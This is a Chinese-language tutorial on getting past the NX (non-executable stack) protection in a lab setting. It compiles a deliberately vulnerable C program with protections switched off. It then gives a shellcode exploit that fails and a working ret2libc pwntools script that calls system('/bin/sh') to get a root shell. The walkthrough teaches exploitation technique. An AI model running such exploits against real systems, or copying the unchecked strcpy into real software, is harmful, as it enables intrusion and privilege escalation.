注: 请结合这篇文章:经典栈溢出-https://www.jianshu.com/p/6a1235d99176查看文本
一,NX
溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段,转而让系统去执行。
NX缓解机制开启后,使某些内存区域不可执行,并使可执行区域不可写。示例:使数据,堆栈和堆段不可执行,而代码段不可写。
二,使用之前经典的栈溢出利用脚本进行测试(本文顶端链接)
1.源码
文件名:NX.c
#include <stdio.h>
#include <string.h>
void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg);
return;
}
int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
可以看到,其是将
main
函数里的buffer
作为msg
传入vul
函数里,然后拷贝到vul
中的buffer
,但是main
函数中buffer
大小为256
,而vul
函数中buffer
的大小为64
,这就是问题所在。
2.编译
gcc编译:gcc -m32 -g -ggdb -fno-stack-protector -no-pie NX.c -o pwnme
-z execstack
参数加上后会关闭NX
3.尝试运行pwnme
正常运行!
4.尝试使用之前的脚本破解
文件名:false_exp.py
from pwn import *
p = process('./pwnme') #运行程序
p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
#找jmp_esp_addr_offset,见本文第四节第二点
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7dd1000 #你找到的libc加载地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到jmp_esp_addr
print hex(jmp_esp_addr)
#构造布局,本文第三节
buf = 'A'*76 #因为64个字符已经将申请的空间填满,接下来就会产生溢出
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
with open('poc','wb') as f:
f.write(buf)
p.sendline(buf) #发送构造后的buf
p.interactive()
运行==========>崩溃
三,崩溃原因
运行起pwnme
,并保持运行状态,新打开一个终端,输入ps -a
,查看pwnme
的pid
输入
cat /proc/2472/maps
查看,可以发现存在栈不可执行原因:NX
机制已开启,虽然在栈空间的布局正常,程序尝试去执行shellcode
,但由于栈地址没有执行权限,导致奔溃。
四,改变布局-ret2libc
ret2libc
即控制函数执行libc
中的函数,通常是返回至某个函数的plt
处或者函数的具体位置(即函数对应的got表项
的内容)。
一般情况下,我们会选择执行system("/bin/sh")
,在不存在ASLR(地址随机化)
的情况下,可以直接通过调试获得system
的函数地址以及“/bin/sh”
的地址 。
布局图:
布局原理
布局完成后,返回地址return_addr
被覆盖为libc
文件里的system
函数地址,当运行到esp
位置时,会跳转到system
中执行,同时,esp
指向esp+4
,这时对system
来说,它内部的ret(返回地址)
执行时esp
指针还是指向esp+4
的,也就是esp + 4(0xdeadbeef)
就是system
函数的返回地址,而esp+8
则是它的参数
注:对于不想使程序崩溃,可以将esp+4
的覆盖为exit
函数的地址,但要只是想得到shell
,就是没什么所谓,因为在它崩溃前,你已经获得了shell
,所以我在这里只是覆盖为0xdeadbeef
五,找地址
我们先找到system
与/bin/sh
在libc
文件里的偏移地址,然后找到libc
文件在程序里的加载地址libc_base
,之后分别相加求取system
与/bin/sh
在程序里的加载位置system_addr
与/bin/sh_addr
1.查看加载的libc文件版本
2.查看libc文件在程序里的加载地址(libc_base)
命令:LD_TRACE_LOADED_OBJECTS=1 ./pwnme
得到
libc_base = 0xf7dd1000
3.查找system与/bin/sh在libc中的地址
ida
打开libc.so.6
①system
在functions window
使用ctrl + f
搜索system
函数,双击system
得到
0x0003d7e0
②/bin/sh
ctrl + 1
打开quick view
,选择strings
打开strings window
或ctrl + f12
ctrl + f
搜索/bin/sh
得到
0x0017c968
4.system与/bin/sh在程序里的地址
ststem_addr = libc_base + 0x0003d7e0
/bin/sh_addr = libc_base+ 0x0017c968
六,代码及效果
代码
文件名:true_exp.py
from pwn import *
p = process('./pwnme') #运行程序
p.recvuntil("shellcode:") #当接受到字符串'shellcode:'
libc_base = 0xf7dd1000
system_addr = libc_base + 0x0003D7E0
bin_sh_addr = libc_base + 0x0017C968
#布局
buf = 'A'*76 #如何得到填充数据大小:https://www.jianshu.com/p/278f8d1f8322
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)
with open('poc','wb') as f :
f.write(buf)
p.sendline(buf) #开始溢出
p.interactive()
效果
运行true_exp.py
输入
whoami
返回root
,溢出成功!!!Ret2Libc
虽然把数据放在了不具备可执行权限的栈上,但成功执行了shellcode
,这是因为只是把输入数据当做纯数据来间接劫持程序的执行流